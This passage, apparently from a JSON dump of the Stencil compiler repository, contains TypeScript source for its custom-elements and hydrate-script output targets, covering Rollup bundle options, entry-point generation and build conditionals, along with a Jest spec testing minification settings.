subtree: true, childList: true });\n}\n\n/**\n * Stop the auto-loader and disconnect the MutationObserver.\n */\nexport function stop() {\n  if (observer) {\n    observer.disconnect();\n    observer = null;\n  }\n}\n${autoStart ? '\\n// Auto-start the loader\\nstart();' : ''}\n`.trim();\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-custom-elements/index.ts",
    "content": "import {\n  catchError,\n  dashToPascalCase,\n  generatePreamble,\n  getSourceMappingUrlForEndOfFile,\n  hasError,\n  isBoolean,\n  isOutputTargetDistCustomElements,\n  isString,\n  join,\n  rollupToStencilSourceMap,\n} from '@utils';\nimport ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport type { BundleOptions } from '../../bundle/bundle-interface';\nimport { bundleOutput } from '../../bundle/bundle-output';\nimport { STENCIL_APP_GLOBALS_ID, STENCIL_INTERNAL_CLIENT_ID, USER_INDEX_ENTRY_ID } from '../../bundle/entry-alias-ids';\nimport { optimizeModule } from '../../optimize/optimize-module';\nimport { addDefineCustomElementFunctions } from '../../transformers/component-native/add-define-custom-element-function';\nimport { proxyCustomElement } from '../../transformers/component-native/proxy-custom-element-function';\nimport { nativeComponentTransform } from '../../transformers/component-native/tranform-to-native-component';\nimport { removeCollectionImports } from '../../transformers/remove-collection-imports';\nimport { rewriteAliasedSourceFileImportPaths } from '../../transformers/rewrite-aliased-paths';\nimport { updateStencilCoreImports } from '../../transformers/update-stencil-core-import';\nimport { getCustomElementsBuildConditionals } from './custom-elements-build-conditionals';\nimport { generateLoaderModule } from './generate-loader-module';\nimport { addTagTransform } from '../../transformers/add-tag-transform';\n\n/**\n * Main output target function for `dist-custom-elements`. This function just\n * does some organizational work to call the other functions in this module,\n * which do actual work of generating the rollup configuration, creating an\n * entry chunk, running, the build, etc.\n *\n * @param config the validated compiler configuration we're using\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @returns an empty Promise which won't resolve until the work is done!\n */\nexport const outputCustomElements = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n): Promise<void> => {\n  if (!config.buildDist) {\n    return;\n  }\n\n  const outputTargets = config.outputTargets.filter(isOutputTargetDistCustomElements);\n  if (outputTargets.length === 0) {\n    return;\n  }\n\n  const bundlingEventMessage = `generate custom elements${config.sourceMap ? ' + source maps' : ''}`;\n  const timespan = buildCtx.createTimeSpan(`${bundlingEventMessage} started`);\n\n  await Promise.all(outputTargets.map((target) => bundleCustomElements(config, compilerCtx, buildCtx, target)));\n\n  timespan.finish(`${bundlingEventMessage} finished`);\n};\n\n/**\n * Get bundle options for our current build and compiler context which we'll use\n * to generate a Rollup build and so on.\n *\n * @param config a validated Stencil configuration object\n * @param buildCtx the current build context\n * @param compilerCtx the current compiler context\n * @param outputTarget the outputTarget we're currently dealing with\n * @returns bundle options suitable for generating a rollup configuration\n */\nexport const getBundleOptions = (\n  config: d.ValidatedConfig,\n  buildCtx: d.BuildCtx,\n  compilerCtx: d.CompilerCtx,\n  outputTarget: d.OutputTargetDistCustomElements,\n): BundleOptions => ({\n  id: 'customElements',\n  platform: 'client',\n  conditionals: getCustomElementsBuildConditionals(config, buildCtx.components),\n  customBeforeTransformers: getCustomBeforeTransformers(\n    config,\n    compilerCtx,\n    buildCtx.components,\n    outputTarget,\n    buildCtx,\n  ),\n  externalRuntime: !!outputTarget.externalRuntime,\n  inlineWorkers: true,\n  inputs: {\n    // Here we prefix our index chunk with '\\0' to tell Rollup that we're\n    // going to be using virtual modules with this module. A leading '\\0'\n    // prevents other plugins from messing with the module. We generate a\n    // string for the index chunk below in the `loader` property.\n    //\n    // @see {@link https://rollupjs.org/guide/en/#conventions} for more info.\n    index: '\\0core',\n  },\n  loader: {},\n  preserveEntrySignatures: 'allow-extension',\n});\n\n/**\n * Get bundle options for rollup, run the rollup build, optionally minify the\n * output, and write files to disk.\n *\n * @param config the validated Stencil configuration we're using\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param outputTarget the outputTarget we're currently dealing with\n * @returns an empty promise\n */\nexport const bundleCustomElements = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTarget: d.OutputTargetDistCustomElements,\n) => {\n  try {\n    const bundleOpts = getBundleOptions(config, buildCtx, compilerCtx, outputTarget);\n\n    addCustomElementInputs(buildCtx, bundleOpts, outputTarget);\n\n    const build = await bundleOutput(config, compilerCtx, buildCtx, bundleOpts);\n\n    if (build) {\n      const rollupOutput = await build.generate({\n        banner: generatePreamble(config),\n        format: 'esm',\n        sourcemap: config.sourceMap,\n        chunkFileNames: outputTarget.externalRuntime || !config.hashFileNames ? '[name].js' : 'p-[hash].js',\n        entryFileNames: '[name].js',\n        hoistTransitiveImports: false,\n      });\n\n      // the output target should have been validated at this point - as a result, we expect this field\n      // to have been backfilled if it wasn't provided\n      const outputTargetDir: string = outputTarget.dir!;\n\n      // besides, if it isn't here we do a diagnostic and an early return\n      if (!isString(outputTargetDir)) {\n        buildCtx.diagnostics.push({\n          level: 'error',\n          type: 'build',\n          messageText: 'dist-custom-elements output target provided with no output target directory!',\n          lines: [],\n        });\n        return;\n      }\n\n      const minify = isBoolean(outputTarget.minify) ? outputTarget.minify : config.minifyJs;\n      const files = rollupOutput.output.map(async (bundle) => {\n        if (bundle.type === 'chunk') {\n          let code = bundle.code;\n          let sourceMap = bundle.map ? rollupToStencilSourceMap(bundle.map) : undefined;\n\n          const optimizeResults = await optimizeModule(config, compilerCtx, {\n            input: code,\n            isCore: bundle.isEntry,\n            minify,\n            sourceMap,\n          });\n          buildCtx.diagnostics.push(...optimizeResults.diagnostics);\n          if (!hasError(optimizeResults.diagnostics) && typeof optimizeResults.output === 'string') {\n            code = optimizeResults.output;\n          }\n          if (optimizeResults.sourceMap) {\n            sourceMap = optimizeResults.sourceMap;\n            code = code + getSourceMappingUrlForEndOfFile(bundle.fileName);\n            await compilerCtx.fs.writeFile(join(outputTargetDir, bundle.fileName + '.map'), JSON.stringify(sourceMap), {\n              outputTargetType: outputTarget.type,\n            });\n          }\n          await compilerCtx.fs.writeFile(join(outputTargetDir, bundle.fileName), code, {\n            outputTargetType: outputTarget.type,\n          });\n        }\n      });\n      await Promise.all(files);\n    }\n  } catch (e: any) {\n    catchError(buildCtx.diagnostics, e);\n  }\n};\n\n/**\n * Create the virtual modules/input modules for the `dist-custom-elements` output target.\n * @param buildCtx the context for the current build\n * @param bundleOpts the bundle options to store the virtual modules under. acts as an output parameter\n * @param outputTarget the configuration for the custom element output target\n */\nexport const addCustomElementInputs = (\n  buildCtx: d.BuildCtx,\n  bundleOpts: BundleOptions,\n  outputTarget: d.OutputTargetDistCustomElements,\n): void => {\n  const components = buildCtx.components;\n  // An array to store the imports of these modules that we're going to add to our entry chunk\n  const indexImports: string[] = [];\n  // An array to store the export declarations that we're going to add to our entry chunk\n  const indexExports: string[] = [];\n  // An array to store the exported component names that will be used for the `defineCustomElements`\n  // function on the `bundle` export behavior option\n  const exportNames: string[] = [];\n\n  components.forEach((cmp) => {\n    const exp: string[] = [];\n    const exportName = dashToPascalCase(cmp.tagName);\n    const importName = cmp.componentClassName;\n    const importAs = `$Cmp${exportName}`;\n    const coreKey = `\\0${exportName}`;\n\n    if (cmp.isPlain) {\n      exp.push(`export { ${importName} as ${exportName} } from '${cmp.sourceFilePath}';`);\n      indexExports.push(`export { ${exportName} } from '${coreKey}';`);\n    } else {\n      // the `importName` may collide with the `exportName`, alias it just in case it does with `importAs`\n      exp.push(\n        `import { ${importName} as ${importAs}, defineCustomElement as cmpDefCustomEle } from '${cmp.sourceFilePath}';`,\n      );\n      exp.push(`export const ${exportName} = ${importAs};`);\n      exp.push(`export const defineCustomElement = cmpDefCustomEle;`);\n\n      // Here we push an export (with a rename for `defineCustomElement`) for\n      // this component onto our array which references the `coreKey` (prefixed\n      // with `\\0`). We have to do this so that our import is referencing the\n      // correct virtual module, if we instead referenced, for instance,\n      // `cmp.sourceFilePath`, we would end up with duplicated modules in our\n      // output.\n      indexExports.push(\n        `export { ${exportName}, defineCustomElement as defineCustomElement${exportName} } from '${coreKey}';`,\n      );\n    }\n\n    indexImports.push(`import { ${exportName} } from '${coreKey}';`);\n    exportNames.push(exportName);\n\n    bundleOpts.inputs[cmp.tagName] = coreKey;\n    bundleOpts.loader![coreKey] = exp.join('\\n');\n  });\n\n  // Generate the contents of the entry file to be created by the bundler\n  bundleOpts.loader!['\\0core'] = generateEntryPoint(outputTarget, indexImports, indexExports, exportNames);\n\n  // Generate auto-loader module if enabled\n  if (outputTarget.autoLoader) {\n    const loaderFileName =\n      typeof outputTarget.autoLoader === 'object' ? outputTarget.autoLoader.fileName || 'loader' : 'loader';\n\n    bundleOpts.inputs[loaderFileName] = '\\0loader';\n    bundleOpts.loader!['\\0loader'] = generateLoaderModule(components, outputTarget);\n  }\n};\n\n/**\n * Generate the entrypoint (`index.ts` file) contents for the `dist-custom-elements` output target\n * @param outputTarget the output target's configuration\n * @param cmpImports The import declarations for local component modules.\n * @param cmpExports The export declarations for local component modules.\n * @param cmpNames The exported component names (could be aliased) from local component modules.\n * @returns the stringified contents to be placed in the entrypoint\n */\nexport const generateEntryPoint = (\n  outputTarget: d.OutputTargetDistCustomElements,\n  cmpImports: string[] = [],\n  cmpExports: string[] = [],\n  cmpNames: string[] = [],\n): string => {\n  const body: string[] = [];\n  const imports: string[] = [];\n  const exports: string[] = [];\n\n  // Exports that are always present\n  exports.push(\n    `export { getAssetPath, setAssetPath, setNonce, setPlatformOptions, render } from '${STENCIL_INTERNAL_CLIENT_ID}';`,\n    `export * from '${USER_INDEX_ENTRY_ID}';`,\n  );\n\n  // Content related to global scripts\n  if (outputTarget.includeGlobalScripts !== false) {\n    imports.push(`import { globalScripts } from '${STENCIL_APP_GLOBALS_ID}';`);\n    body.push(`globalScripts();`);\n  }\n\n  // Content related to the `bundle` export behavior\n  if (outputTarget.customElementsExportBehavior === 'bundle') {\n    imports.push(`import { transformTag } from '${STENCIL_INTERNAL_CLIENT_ID}';`);\n    imports.push(...cmpImports);\n    body.push(\n      'export const defineCustomElements = (opts) => {',\n      \"    if (typeof customElements !== 'undefined') {\",\n      '        [',\n      ...cmpNames.map((cmp) => `            ${cmp},`),\n      '        ].forEach(cmp => {',\n      '            if (!customElements.get(transformTag(cmp.is))) {',\n      '                customElements.define(transformTag(cmp.is), cmp, opts);',\n      '            }',\n      '        });',\n      '    }',\n      '};',\n    );\n  }\n\n  // Content related to the `single-export-module` export behavior\n  if (outputTarget.customElementsExportBehavior === 'single-export-module') {\n    exports.push(...cmpExports);\n  }\n\n  // Generate the contents of the file based on the parts\n  // defined above. This keeps the file structure consistent as\n  // new export behaviors may be added\n  let content = '';\n\n  // Add imports to file content\n  content += imports.length ? imports.join('\\n') + '\\n' : '';\n  // Add exports to file content\n  content += exports.length ? exports.join('\\n') + '\\n' : '';\n  // Add body to file content\n  content += body.length ? '\\n' + body.join('\\n') + '\\n' : '';\n\n  return content;\n};\n\n/**\n * Get the series of custom transformers, specific to the needs of the\n * `dist-custom-elements` output target, that will be applied to a Stencil\n * project's source code during the TypeScript transpilation process\n *\n * @param config the configuration for the Stencil project\n * @param compilerCtx the current compiler context\n * @param components the components that will be compiled as a part of the current build\n * @param outputTarget the output target configuration\n * @returns a list of transformers to use in the transpilation process\n */\nconst getCustomBeforeTransformers = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  components: d.ComponentCompilerMeta[],\n  outputTarget: d.OutputTargetDistCustomElements,\n  buildCtx: d.BuildCtx,\n): ts.TransformerFactory<ts.SourceFile>[] => {\n  const transformOpts: d.TransformOptions = {\n    coreImportPath: STENCIL_INTERNAL_CLIENT_ID,\n    componentExport: null,\n    componentMetadata: null,\n    currentDirectory: config.sys.getCurrentDirectory(),\n    proxy: null,\n    style: 'static',\n    styleImportData: 'queryparams',\n  };\n  const customBeforeTransformers = [\n    addDefineCustomElementFunctions(compilerCtx, components, outputTarget),\n    updateStencilCoreImports(transformOpts.coreImportPath),\n  ];\n\n  if (config.transformAliasedImportPaths) {\n    customBeforeTransformers.push(rewriteAliasedSourceFileImportPaths);\n  }\n\n  if (buildCtx.config.extras.additionalTagTransformers) {\n    customBeforeTransformers.push(addTagTransform(compilerCtx, buildCtx));\n  }\n\n  customBeforeTransformers.push(\n    nativeComponentTransform(compilerCtx, transformOpts, buildCtx),\n    proxyCustomElement(compilerCtx, transformOpts),\n    removeCollectionImports(compilerCtx),\n  );\n  return customBeforeTransformers;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-custom-elements/test/dist-custom-elements.spec.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { mockBuildCtx, mockCompilerCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport path from 'path';\n\nimport { BundleOptions } from '../../../bundle/bundle-interface';\nimport * as bundleOutputMod from '../../../bundle/bundle-output';\nimport * as optimizeModuleMod from '../../../optimize/optimize-module';\nimport { stubComponentCompilerMeta } from '../../../types/tests/ComponentCompilerMeta.stub';\nimport { addCustomElementInputs, bundleCustomElements } from '../index';\n\ndescribe('dist-custom-elements', () => {\n  it('should export plain component', () => {\n    const cmpMeta = stubComponentCompilerMeta({ isPlain: true, sourceFilePath: './foo/bar.tsx', tagName: 'my-tag' });\n    const buildCtx = mockBuildCtx();\n    buildCtx.components = [cmpMeta];\n    const bundleOpts: BundleOptions = {\n      id: 'customElements',\n      platform: 'client',\n      inputs: {},\n      loader: {},\n    };\n    const outputTarget: d.OutputTargetDistCustomElements = {\n      type: 'dist-custom-elements',\n      customElementsExportBehavior: 'single-export-module',\n    };\n    addCustomElementInputs(buildCtx, bundleOpts, outputTarget);\n    expect(bundleOpts.loader['\\x00MyTag']).toContain(\"export { StubCmp as MyTag } from './foo/bar.tsx';\");\n    expect(bundleOpts.loader['\\x00core']).toContain(`export { MyTag } from '\\x00MyTag';\\n`);\n  });\n\n  it('should export component with a defineCustomElement function', () => {\n    const cmpMeta = stubComponentCompilerMeta({ sourceFilePath: './foo/bar.tsx', tagName: 'my-tag' });\n    const buildCtx = mockBuildCtx();\n    buildCtx.components = [cmpMeta];\n    const bundleOpts: BundleOptions = {\n      id: 'customElements',\n      platform: 'client',\n      inputs: {},\n      loader: {},\n    };\n    const outputTarget: d.OutputTargetDistCustomElements = {\n      type: 'dist-custom-elements',\n      customElementsExportBehavior: 'single-export-module',\n    };\n    addCustomElementInputs(buildCtx, bundleOpts, outputTarget);\n    expect(bundleOpts.loader['\\x00MyTag']).toContain('export const defineCustomElement = cmpDefCustomEle;');\n    expect(bundleOpts.loader['\\x00MyTag']).toContain(\n      \"import { StubCmp as $CmpMyTag, defineCustomElement as cmpDefCustomEle } from './foo/bar.tsx';\",\n    );\n    expect(bundleOpts.loader['\\x00core']).toContain(\n      `export { MyTag, defineCustomElement as defineCustomElementMyTag } from '\\x00MyTag';\\n`,\n    );\n  });\n\n  describe('minification', () => {\n    let bundleOutputSpy: jest.SpyInstance;\n    let optimizeModuleSpy: jest.SpyInstance;\n    let mockRollupBuild: any;\n\n    beforeEach(() => {\n      // Mock the rollup build output\n      mockRollupBuild = {\n        generate: jest.fn().mockResolvedValue({\n          output: [\n            {\n              type: 'chunk',\n              fileName: 'index.js',\n              code: 'export const test = \"unminified code\";',\n              isEntry: true,\n              map: null,\n            },\n          ],\n        }),\n      };\n\n      // Spy on bundleOutput to return our mock build\n      bundleOutputSpy = jest.spyOn(bundleOutputMod, 'bundleOutput');\n      bundleOutputSpy.mockResolvedValue(mockRollupBuild);\n\n      // Spy on optimizeModule to verify it's called with correct minify parameter\n      optimizeModuleSpy = jest.spyOn(optimizeModuleMod, 'optimizeModule');\n      optimizeModuleSpy.mockResolvedValue({\n        output: 'const test=\"minified\";',\n        diagnostics: [],\n        sourceMap: undefined,\n      });\n    });\n\n    afterEach(() => {\n      bundleOutputSpy.mockRestore();\n      optimizeModuleSpy.mockRestore();\n    });\n\n    it('should pass minify=true to optimizeModule when outputTarget.minify is true', async () => {\n      const config = mockValidatedConfig({ minifyJs: false });\n      const compilerCtx = mockCompilerCtx(config);\n      const buildCtx = mockBuildCtx(config, compilerCtx);\n      buildCtx.components = [stubComponentCompilerMeta()];\n\n      const outputTarget: d.OutputTargetDistCustomElements = {\n        type: 'dist-custom-elements',\n        dir: path.join(config.rootDir, 'dist'),\n        customElementsExportBehavior: 'single-export-module',\n        minify: true,\n      };\n\n      await bundleCustomElements(config, compilerCtx, buildCtx, outputTarget);\n\n      expect(optimizeModuleSpy).toHaveBeenCalledWith(\n        config,\n        compilerCtx,\n        expect.objectContaining({\n          minify: true,\n        }),\n      );\n    });\n\n    it('should pass minify=false to optimizeModule when outputTarget.minify is false', async () => {\n      const config = mockValidatedConfig({ minifyJs: true });\n      const compilerCtx = mockCompilerCtx(config);\n      const buildCtx = mockBuildCtx(config, compilerCtx);\n      buildCtx.components = [stubComponentCompilerMeta()];\n\n      const outputTarget: d.OutputTargetDistCustomElements = {\n        type: 'dist-custom-elements',\n        dir: path.join(config.rootDir, 'dist'),\n        customElementsExportBehavior: 'single-export-module',\n        minify: false,\n      };\n\n      await bundleCustomElements(config, compilerCtx, buildCtx, outputTarget);\n\n      expect(optimizeModuleSpy).toHaveBeenCalledWith(\n        config,\n        compilerCtx,\n        expect.objectContaining({\n          minify: false,\n        }),\n      );\n    });\n\n    it('should fall back to config.minifyJs when outputTarget.minify is undefined', async () => {\n      const config = mockValidatedConfig({ minifyJs: true });\n      const compilerCtx = mockCompilerCtx(config);\n      const buildCtx = mockBuildCtx(config, compilerCtx);\n      buildCtx.components = [stubComponentCompilerMeta()];\n\n      const outputTarget: d.OutputTargetDistCustomElements = {\n        type: 'dist-custom-elements',\n        dir: path.join(config.rootDir, 'dist'),\n        customElementsExportBehavior: 'single-export-module',\n        // minify is undefined, should use config.minifyJs\n      };\n\n      await bundleCustomElements(config, compilerCtx, buildCtx, outputTarget);\n\n      expect(optimizeModuleSpy).toHaveBeenCalledWith(\n        config,\n        compilerCtx,\n        expect.objectContaining({\n          minify: true, // from config.minifyJs\n        }),\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/output-targets/dist-hydrate-script/bundle-hydrate-factory.ts",
    "content": "import { loadRollupDiagnostics } from '@utils';\nimport * as ts from 'typescript';\n\nimport type * as d from '../../../declarations';\nimport type { BundleOptions } from '../../bundle/bundle-interface';\nimport { bundleOutput } from '../../bundle/bundle-output';\nimport { STENCIL_INTERNAL_HYDRATE_ID } from '../../bundle/entry-alias-ids';\nimport { hydrateComponentTransform } from '../../transformers/component-hydrate/tranform-to-hydrate-component';\nimport { removeCollectionImports } from '../../transformers/remove-collection-imports';\nimport { addTagTransform } from '../../transformers/add-tag-transform';\nimport { rewriteAliasedSourceFileImportPaths } from '../../transformers/rewrite-aliased-paths';\nimport { updateStencilCoreImports } from '../../transformers/update-stencil-core-import';\nimport { getHydrateBuildConditionals } from './hydrate-build-conditionals';\n\n/**\n * Marshall some Rollup options for the hydrate factory and then pass it to our\n * {@link bundleOutput} helper\n *\n * @param config a validated Stencil configuration\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param appFactoryEntryCode an entry code for the app factory\n * @returns a promise wrapping a rollup build object\n */\nexport const bundleHydrateFactory = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  appFactoryEntryCode: string,\n) => {\n  try {\n    const bundleOpts: BundleOptions = {\n      id: 'hydrate',\n      platform: 'hydrate',\n      conditionals: getHydrateBuildConditionals(config, buildCtx.components),\n      customBeforeTransformers: getCustomBeforeTransformers(config, compilerCtx, buildCtx),\n      inlineDynamicImports: true,\n      inputs: {\n        '@app-factory-entry': '@app-factory-entry',\n      },\n      loader: {\n        '@app-factory-entry': appFactoryEntryCode,\n      },\n    };\n\n    const rollupBuild = await bundleOutput(config, compilerCtx, buildCtx, bundleOpts);\n    return rollupBuild;\n  } catch (e: any) {\n    if (!buildCtx.hasError) {\n      // TODO(STENCIL-353): Implement a type guard that balances using our own copy of Rollup types (which are\n      // breakable) and type safety (so that the error variable may be something other than `any`)\n      loadRollupDiagnostics(config, compilerCtx, buildCtx, e);\n    }\n  }\n  return undefined;\n};\n\n/**\n * Generate a collection of transformations that are to be applied as a part of the `before` step in the TypeScript\n * compilation process.\n #\n * @param config the Stencil configuration associated with the current build\n * @param compilerCtx the current compiler context\n * @returns a collection of transformations that should be applied to the source code, intended for the `before` part\n * of the pipeline\n */\nconst getCustomBeforeTransformers = (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx?: d.BuildCtx,\n): ts.TransformerFactory<ts.SourceFile>[] => {\n  const transformOpts: d.TransformOptions = {\n    coreImportPath: STENCIL_INTERNAL_HYDRATE_ID,\n    componentExport: null,\n    componentMetadata: null,\n    currentDirectory: config.sys.getCurrentDirectory(),\n    proxy: null,\n    style: 'static',\n    styleImportData: 'queryparams',\n  };\n  const customBeforeTransformers = [updateStencilCoreImports(transformOpts.coreImportPath)];\n\n  if (config.transformAliasedImportPaths) {\n    customBeforeTransformers.push(rewriteAliasedSourceFileImportPaths);\n  }\n\n  if (buildCtx.config.extras.additionalTagTransformers) {\n    customBeforeTransformers.push(addTagTransform(compilerCtx, buildCtx));\n  }\n\n  customBeforeTransformers.push(\n    hydrateComponentTransform(compilerCtx, transformOpts, buildCtx),\n    removeCollectionImports(compilerCtx),\n  );\n  return customBeforeTransformers;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-hydrate-script/generate-hydrate-app.ts",
    "content": "import type * as d from '@stencil/core/declarations';\nimport { catchError, createOnWarnFn, generatePreamble, join, loadRollupDiagnostics } from '@utils';\nimport MagicString from 'magic-string';\nimport { RollupOptions } from 'rollup';\nimport { rollup, type RollupBuild } from 'rollup';\n\nimport {\n  STENCIL_APP_DATA_ID,\n  STENCIL_HYDRATE_FACTORY_ID,\n  STENCIL_INTERNAL_HYDRATE_ID,\n  STENCIL_MOCK_DOC_ID,\n} from '../../bundle/entry-alias-ids';\nimport { bundleHydrateFactory } from './bundle-hydrate-factory';\nimport {\n  HYDRATE_FACTORY_INTRO,\n  HYDRATE_FACTORY_OUTRO,\n  MODE_RESOLUTION_CHAIN_DECLARATION,\n} from './hydrate-factory-closure';\nimport { updateToHydrateComponents } from './update-to-hydrate-components';\nimport { writeHydrateOutputs } from './write-hydrate-outputs';\n\nconst buildHydrateAppFor = async (\n  format: 'esm' | 'cjs',\n  rollupBuild: RollupBuild,\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTargets: d.OutputTargetHydrate[],\n) => {\n  const file = format === 'esm' ? 'index.mjs' : 'index.js';\n  const rollupOutput = await rollupBuild.generate({\n    banner: generatePreamble(config),\n    format,\n    file,\n  });\n\n  await writeHydrateOutputs(config, compilerCtx, buildCtx, outputTargets, rollupOutput);\n};\n\n/**\n * Generate and build the hydrate app and then write it to disk\n *\n * @param config a validated Stencil configuration\n * @param compilerCtx the current compiler context\n * @param buildCtx the current build context\n * @param outputTargets the output targets for the current build\n */\nexport const generateHydrateApp = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  outputTargets: d.OutputTargetHydrate[],\n) => {\n  try {\n    const packageDir = join(config.sys.getCompilerExecutingPath(), '..', '..');\n    const input = join(packageDir, 'internal', 'hydrate', 'runner.js');\n    const mockDoc = join(packageDir, 'mock-doc', 'index.js');\n    const appData = join(packageDir, 'internal', 'app-data', 'index.js');\n\n    const rollupOptions: RollupOptions = {\n      ...config.rollupConfig.inputOptions,\n      external: ['stream'],\n\n      input,\n      plugins: [\n        {\n          name: 'hydrateAppPlugin',\n          resolveId(id) {\n            // Handle both @hydrate-factory (TypeScript alias) and full path\n            if (id === STENCIL_HYDRATE_FACTORY_ID || id === '@hydrate-factory') {\n              return STENCIL_HYDRATE_FACTORY_ID;\n            }\n            if (id === STENCIL_MOCK_DOC_ID) {\n              return mockDoc;\n            }\n            if (id === STENCIL_APP_DATA_ID) {\n              return appData;\n            }\n            return null;\n          },\n          load(id) {\n            if (id === STENCIL_HYDRATE_FACTORY_ID) {\n              return generateHydrateFactory(config, compilerCtx, buildCtx);\n            }\n            return null;\n          },\n          transform(code) {\n            /**\n             * Remove the modeResolutionChain variable from the generated code.\n             * This variable is redefined in `HYDRATE_FACTORY_INTRO` to ensure we can\n             * use it within the hydrate and global runtime.\n             */\n            return code.replace(`var ${MODE_RESOLUTION_CHAIN_DECLARATION}`, '');\n          },\n        },\n      ],\n      treeshake: false,\n      onwarn: createOnWarnFn(buildCtx.diagnostics),\n    };\n\n    const rollupAppBuild = await rollup(rollupOptions);\n    await Promise.all([\n      buildHydrateAppFor('cjs', rollupAppBuild, config, compilerCtx, buildCtx, outputTargets),\n      buildHydrateAppFor('esm', rollupAppBuild, config, compilerCtx, buildCtx, outputTargets),\n    ]);\n  } catch (e: any) {\n    if (!buildCtx.hasError) {\n      // TODO(STENCIL-353): Implement a type guard that balances using our own copy of Rollup types (which are\n      // breakable) and type safety (so that the error variable may be something other than `any`)\n      loadRollupDiagnostics(config, compilerCtx, buildCtx, e);\n    }\n  }\n};\n\nconst generateHydrateFactory = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  if (!buildCtx.hasError) {\n    try {\n      const appFactoryEntryCode = await generateHydrateFactoryEntry(buildCtx);\n\n      const rollupFactoryBuild = await bundleHydrateFactory(config, compilerCtx, buildCtx, appFactoryEntryCode);\n      if (rollupFactoryBuild != null) {\n        const rollupOutput = await rollupFactoryBuild.generate({\n          format: 'cjs',\n          esModule: false,\n          strict: false,\n          intro: HYDRATE_FACTORY_INTRO,\n          outro: HYDRATE_FACTORY_OUTRO,\n          inlineDynamicImports: true,\n        });\n\n        if (!buildCtx.hasError && rollupOutput != null && Array.isArray(rollupOutput.output)) {\n          return rollupOutput.output[0].code;\n        }\n      }\n    } catch (e: any) {\n      catchError(buildCtx.diagnostics, e);\n    }\n  }\n  return '';\n};\n\nconst generateHydrateFactoryEntry = async (buildCtx: d.BuildCtx) => {\n  const cmps = buildCtx.components;\n  const hydrateCmps = await updateToHydrateComponents(cmps);\n  const s = new MagicString('');\n\n  s.append(`import { hydrateApp, registerComponents, styles } from '${STENCIL_INTERNAL_HYDRATE_ID}';\\n`);\n\n  hydrateCmps.forEach((cmpData) => s.append(cmpData.importLine + '\\n'));\n\n  s.append(`registerComponents([\\n`);\n  hydrateCmps.forEach((cmpData) => {\n    s.append(`  ${cmpData.uniqueComponentClassName},\\n`);\n  });\n  s.append(`]);\\n`);\n  s.append(`export { hydrateApp }\\n`);\n\n  return s.toString();\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-hydrate-script/hydrate-build-conditionals.ts",
    "content": "import type * as d from '../../../declarations';\nimport { getBuildFeatures, updateBuildConditionals } from '../../app-core/app-data';\n\n/**\n * Get the `BUILD` conditionals for the hydrate build based on the current\n * project\n *\n * @param config a validated Stencil configuration\n * @param cmps component metadata\n * @returns a populated build conditional object\n */\nexport const getHydrateBuildConditionals = (config: d.ValidatedConfig, cmps: d.ComponentCompilerMeta[]) => {\n  const build = getBuildFeatures(cmps) as d.BuildConditionals;\n  // we need to make sure that things like the hydratedClass and flag are\n  // set for the hydrate build\n  updateBuildConditionals(config, build);\n\n  build.slotRelocation = true;\n  build.lazyLoad = true;\n  build.hydrateServerSide = true;\n  build.hydrateClientSide = true;\n  build.isDebug = false;\n  build.isDev = false;\n  build.isTesting = false;\n  build.devTools = false;\n  build.lifecycleDOMEvents = false;\n  build.profile = false;\n  build.hotModuleReplacement = false;\n  build.updatable = true;\n  build.member = true;\n  build.constructableCSS = false;\n  build.asyncLoading = true;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  build.appendChildSlotFix = false;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  build.slotChildNodesFix = false;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  build.experimentalSlotFixes = false;\n  // TODO(STENCIL-1086): remove this option when it's the default behavior\n  build.experimentalScopedSlotChanges = false;\n  // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior\n  build.cloneNodeFix = false;\n  build.cssAnnotations = true;\n  // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field\n  build.shadowDomShim = true;\n  // TODO(STENCIL-1305): remove this option\n  build.scriptDataOpts = false;\n  build.attachStyles = true;\n\n  return build;\n};\n"
  },
  {
    "path": "src/compiler/output-targets/dist-hydrate-script/hydrate-factory-closure.ts",
